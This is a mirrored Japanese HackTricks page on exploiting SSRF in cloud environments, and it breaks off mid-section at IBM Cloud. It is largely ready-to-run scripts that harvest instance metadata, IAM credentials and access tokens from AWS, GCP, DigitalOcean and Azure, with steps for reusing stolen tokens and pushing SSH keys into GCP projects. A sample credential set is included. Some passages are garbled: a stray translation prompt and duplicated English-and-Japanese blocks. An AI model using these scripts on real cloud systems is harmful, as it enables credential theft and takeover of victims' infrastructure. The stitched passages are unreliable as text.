mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 08:30:57 +00:00
601 lines
37 KiB
Markdown
601 lines
37 KiB
Markdown
# クラウドSSRF
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
***
|
||
|
||
## AWS
|
||
|
||
### AWS EC2環境でのSSRFの悪用
|
||
|
||
**メタデータ**エンドポイントは、EC2マシン内からアクセスでき、それに関する興味深い情報を提供します。URLでアクセスできます:`http://169.254.169.254`([メタデータに関する情報はこちら](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||
|
||
メタデータエンドポイントには**2つのバージョン**があります。**最初のバージョン**では、**GET**リクエストを介してエンドポイントにアクセスできます(したがって、**SSRFが悪用できます**)。**バージョン2**の[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**HTTPヘッダ**を送信して**トークン**を要求し、そのトークンを使用して別のHTTPヘッダでメタデータにアクセスする必要があります(したがって、SSRFでの悪用は**より複雑**です)。
|
||
|
||
{% hint style="danger" %}
|
||
EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**は**ホップ制限が1**になり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることができなくなります。
|
||
|
||
さらに、**IMDSv2**は、`X-Forwarded-For`ヘッダを含むトークンを取得するリクエストを**ブロック**します。これは、設定ミスのリバースプロキシがアクセスできないようにするためです。
|
||
{% endhint %}
|
||
|
||
[ドキュメントでメタデータエンドポイントに関する情報を見つけることができます](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。次のスクリプトでは、それから興味深い情報を取得します:
|
||
```bash
|
||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||
URL="http://169.254.169.254/latest/meta-data"
|
||
|
||
aws_req=""
|
||
if [ "$(command -v curl)" ]; then
|
||
aws_req="curl -s -f -H '$HEADER'"
|
||
elif [ "$(command -v wget)" ]; then
|
||
aws_req="wget -q -O - -H '$HEADER'"
|
||
else
|
||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||
fi
|
||
|
||
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
||
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
||
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
||
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
||
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
||
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
||
|
||
echo ""
|
||
echo "Account Info"
|
||
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
||
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
|
||
|
||
echo ""
|
||
echo "Network Info"
|
||
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
||
echo "Mac: $mac"
|
||
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
||
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
||
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
||
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
||
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
||
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
||
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
||
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "IAM Role"
|
||
eval $aws_req "$URL/iam/info"
|
||
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
||
echo "Role: $role"
|
||
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "User Data"
|
||
# Search hardcoded credentials
|
||
eval $aws_req "http://169.254.169.254/latest/user-data"
|
||
|
||
echo ""
|
||
echo "EC2 Security Credentials"
|
||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||
```
|
||
以下は、ハッキング技術に関する本の内容です。次の内容は、ファイルpentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.mdからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、マークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。
|
||
|
||
```markdown
|
||
As a **publicly available IAM credentials** exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||
|
||
You can also check public **EC2 security credentials** in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||
|
||
You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.
|
||
|
||
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
|
||
```
|
||
|
||
翻訳結果:
|
||
|
||
```markdown
|
||
公開されているIAM資格情報の例として、次のリンクを訪れることができます:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||
|
||
また、公開されているEC2のセキュリティ資格情報は次のリンクで確認できます:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||
|
||
それらの資格情報を使用してAWS CLIを使用することができます。これにより、そのロールが許可されていることを**何でも実行する**ことができます。
|
||
|
||
新しい資格情報を活用するには、次のような新しいAWSプロファイルを作成する必要があります:
|
||
```
|
||
```
|
||
[profilename]
|
||
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||
```
|
||
**aws\_session\_token**に注意してください。これはプロファイルが動作するために必要不可欠です。
|
||
|
||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)は、発見された資格情報を使用して特権を調査し、特権のエスカレーションを試みるために使用することができます。
|
||
|
||
### AWS ECS(コンテナサービス)のSSRF資格情報
|
||
|
||
**ECS**は、自分自身のクラスタ管理インフラストラクチャをスケールすることなく、アプリケーションを実行できるEC2インスタンスの論理的なグループです。ECSで実行されているサービスを侵害することに成功すると、**メタデータエンドポイントが変更**されます。
|
||
|
||
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。ただし、まずは**\<GUID>を見つける**必要があります。\<GUID>を見つけるには、マシン内の**environ**変数**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**を読み取る必要があります。\
|
||
`file:///proc/self/environ`への**パストラバーサル**を悪用して読み取ることができるかもしれません。\
|
||
言及されたhttpアドレスは、**AccessKey、SecretKey、およびトークン**を提供するはずです。
|
||
```bash
|
||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||
```
|
||
{% hint style="info" %}
|
||
いくつかのケースでは、コンテナからEC2メタデータインスタンスにアクセスできる場合があります(前述のIMDSv2 TTLの制限を確認してください)。これらのシナリオでは、コンテナからコンテナのIAMロールとEC2のIAMロールの両方にアクセスできます。
|
||
{% endhint %}
|
||
|
||
### AWS LambdaのSSRF <a href="#6f97" id="6f97"></a>
|
||
|
||
この場合、**クレデンシャルは環境変数に保存されています**。したがって、それらにアクセスするには、**`file:///proc/self/environ`**のようなものにアクセスする必要があります。
|
||
|
||
興味深い環境変数の**名前**は次のとおりです:
|
||
|
||
* `AWS_SESSION_TOKEN`
|
||
* `AWS_SECRET_ACCESS_KEY`
|
||
* `AWS_ACCES_KEY_ID`
|
||
|
||
さらに、IAMのクレデンシャルに加えて、Lambda関数には関数が開始されるときに関数に渡される**イベントデータ**もあります。このデータは、[ランタイムインターフェース](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**stageVariables**内のような**機密情報**を含むことがあります。IAMのクレデンシャルとは異なり、このデータは標準のSSRFを介して**`http://localhost:9001/2018-06-01/runtime/invocation/next`**でアクセスできます。
|
||
|
||
{% hint style="warning" %}
|
||
Lambdaのクレデンシャルは環境変数に格納されています。したがって、Lambdaコードのスタックトレースが環境変数を出力する場合、アプリケーションでエラーを引き起こすことでそれらを**外部に漏洩**させることが可能です。
|
||
{% endhint %}
|
||
|
||
### AWS Elastic BeanstalkのSSRF URL <a href="#6f97" id="6f97"></a>
|
||
|
||
APIから`accountId`と`region`を取得します。
|
||
```
|
||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
次に、APIから`AccessKeyId`、`SecretAccessKey`、および`Token`を取得します。
|
||
```
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
||
|
||
次に、`aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`を使用して資格情報を使用します。
|
||
|
||
## GCP <a href="#6440" id="6440"></a>
|
||
|
||
[**メタデータエンドポイントに関するドキュメントはこちらで見つけることができます**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
|
||
|
||
### Google CloudのSSRF URL <a href="#6440" id="6440"></a>
|
||
|
||
ヘッダー「Metadata-Flavor: Google」または「X-Google-Metadata-Request: True」が必要で、次のURLでメタデータエンドポイントにアクセスできます:
|
||
|
||
* http://169.254.169.254
|
||
* http://metadata.google.internal
|
||
* http://metadata
|
||
|
||
情報を抽出するための興味深いエンドポイント:
|
||
```bash
|
||
# /project
|
||
# Project name and number
|
||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||
# Project attributes
|
||
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||
|
||
# /oslogin
|
||
# users
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
|
||
# groups
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
|
||
# security-keys
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
|
||
# authorize
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
|
||
|
||
# /instance
|
||
# Description
|
||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||
# Hostname
|
||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||
# ID
|
||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||
# Image
|
||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||
# Machine Type
|
||
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||
# Name
|
||
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||
# Tags
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
||
# Zone
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||
# User data
|
||
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
|
||
# Network Interfaces
|
||
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
|
||
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
|
||
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
|
||
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
|
||
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
|
||
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
|
||
echo " ============== "
|
||
done
|
||
# Service Accounts
|
||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||
echo " Name: $sa"
|
||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||
echo " ============== "
|
||
done
|
||
# K8s Attributtes
|
||
## Cluster location
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
|
||
## Cluster name
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
|
||
## Os-login enabled
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
|
||
## Kube-env
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
|
||
## Kube-labels
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
|
||
## Kubeconfig
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
|
||
|
||
# All custom project attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
|
||
# All custom project attributes instance attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
```
|
||
現在、Betaではヘッダーは必要ありません(Mathias Karlsson @avlidienbrunnさん、ありがとう)
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||
```
|
||
{% hint style="danger" %}
|
||
**流出したサービスアカウントトークンを使用する**には、次のようにします:
|
||
```bash
|
||
# Via env vars
|
||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||
gcloud projects list
|
||
|
||
# Via setup
|
||
echo "<token>" > /some/path/to/token
|
||
gcloud config set auth/access_token_file /some/path/to/token
|
||
gcloud projects list
|
||
gcloud config unset auth/access_token_file
|
||
```
|
||
{% endhint %}
|
||
|
||
### SSHキーを追加する <a href="#3e24" id="3e24"></a>
|
||
|
||
トークンを抽出する
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||
```
|
||
トークンのスコープを確認してください。
|
||
```
|
||
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||
"issued_to": "101302079XXXXX",
|
||
"audience": "10130207XXXXX",
|
||
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
||
"expires_in": 2443,
|
||
"access_type": "offline"
|
||
}
|
||
```
|
||
今、SSHキーをプッシュしてください。
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
||
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
||
-H "Content-Type: application/json"
|
||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||
```
|
||
{% endcode %}
|
||
|
||
## Digital Ocean <a href="#9f1f" id="9f1f"></a>
|
||
|
||
{% hint style="warning" %}
|
||
AWSのロールやGCPのサービスアカウントのようなものは存在しないため、メタデータボットの資格情報を見つけることは期待しないでください。
|
||
{% endhint %}
|
||
|
||
ドキュメントは[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)で利用可能です。
|
||
```
|
||
curl http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1.json
|
||
http://169.254.169.254/metadata/v1/
|
||
http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1/user-data
|
||
http://169.254.169.254/metadata/v1/hostname
|
||
http://169.254.169.254/metadata/v1/region
|
||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
||
curl http://169.254.169.254/metadata/v1.json | jq
|
||
```
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
***
|
||
|
||
## Azure <a href="#cea8" id="cea8"></a>
|
||
|
||
### Azure VM
|
||
|
||
[**ここでのドキュメント**](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)。
|
||
|
||
* ヘッダーには `Metadata: true` が含まれている必要があります。
|
||
* `X-Forwarded-For` ヘッダーが含まれていてはいけません。
|
||
|
||
{% tabs %}
|
||
{% tab title="Bash" %}
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
HEADER="Metadata:true"
|
||
URL="http://169.254.169.254/metadata"
|
||
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
||
|
||
echo "Instance details"
|
||
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
|
||
|
||
echo "Load Balancer details"
|
||
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
|
||
|
||
echo "Management Token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
|
||
|
||
echo "Graph token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
|
||
|
||
echo "Vault token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
|
||
|
||
echo "Storage token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
|
||
```
|
||
{% endcode %}
|
||
{% endtab %}
|
||
|
||
{% tab title="PS" %}
|
||
```bash
|
||
# Powershell
|
||
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
|
||
## User data
|
||
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
|
||
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
|
||
|
||
# Paths
|
||
/metadata/instance?api-version=2017-04-02
|
||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
### Azure App Service
|
||
|
||
**env**から`IDENTITY_HEADER`と`IDENTITY_ENDPOINT`の値を取得できます。これらの値を使用して、メタデータサーバーと通信するためのトークンを取得できます。
|
||
|
||
ほとんどの場合、次のいずれかのリソースに対してトークンが必要です:
|
||
|
||
* [https://storage.azure.com](https://storage.azure.com/)
|
||
* [https://vault.azure.net](https://vault.azure.net/)
|
||
* [https://graph.microsoft.com](https://graph.microsoft.com/)
|
||
* [https://management.azure.com](https://management.azure.com/)
|
||
```bash
|
||
# Check for those env vars to know if you are in an Azure app
|
||
echo $IDENTITY_HEADER
|
||
echo $IDENTITY_ENDPOINT
|
||
|
||
# You should also be able to find the folder:
|
||
ls /opt/microsoft
|
||
#and the file
|
||
ls /opt/microsoft/msodbcsql17
|
||
|
||
# Get management token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||
# Get graph token
|
||
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||
|
||
# API
|
||
# Get Subscriptions
|
||
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
|
||
curl -H "Authorization: $TOKEN" "$URL"
|
||
# Get current permission on resources in the subscription
|
||
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
|
||
curl -H "Authorization: $TOKEN" "$URL"
|
||
# Get permissions in a VM
|
||
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
|
||
curl -H "Authorization: $TOKEN" "$URL"
|
||
```
|
||
|
||
```powershell
|
||
# API request in powershell to management endpoint
|
||
$Token = 'eyJ0eX..'
|
||
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||
$RequestParams = @{
|
||
Method = 'GET'
|
||
Uri = $URI
|
||
Headers = @{
|
||
'Authorization' = "Bearer $Token"
|
||
}
|
||
}
|
||
(Invoke-RestMethod @RequestParams).value
|
||
|
||
# API request to graph endpoint (get enterprise applications)
|
||
$Token = 'eyJ0eX..'
|
||
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
||
$RequestParams = @{
|
||
Method = 'GET'
|
||
Uri = $URI
|
||
Headers = @{
|
||
'Authorization' = "Bearer $Token"
|
||
}
|
||
}
|
||
(Invoke-RestMethod @RequestParams).value
|
||
|
||
# Using AzureAD Powershell module witho both management and graph tokens
|
||
$token = 'eyJ0e..'
|
||
$graphaccesstoken = 'eyJ0eX..'
|
||
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
|
||
|
||
# Try to get current perms over resources
|
||
Get-AzResource
|
||
## The following error means that the user doesn't have permissions over any resource
|
||
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
|
||
At line:1 char:1
|
||
+ Get-AzResource
|
||
+ ~~~~~~~~~~~~~~
|
||
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
|
||
+ FullyQualifiedErrorId :
|
||
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
|
||
```
|
||
## IBM Cloud <a href="#2af0" id="2af0"></a>
|
||
|
||
{% hint style="warning" %}
|
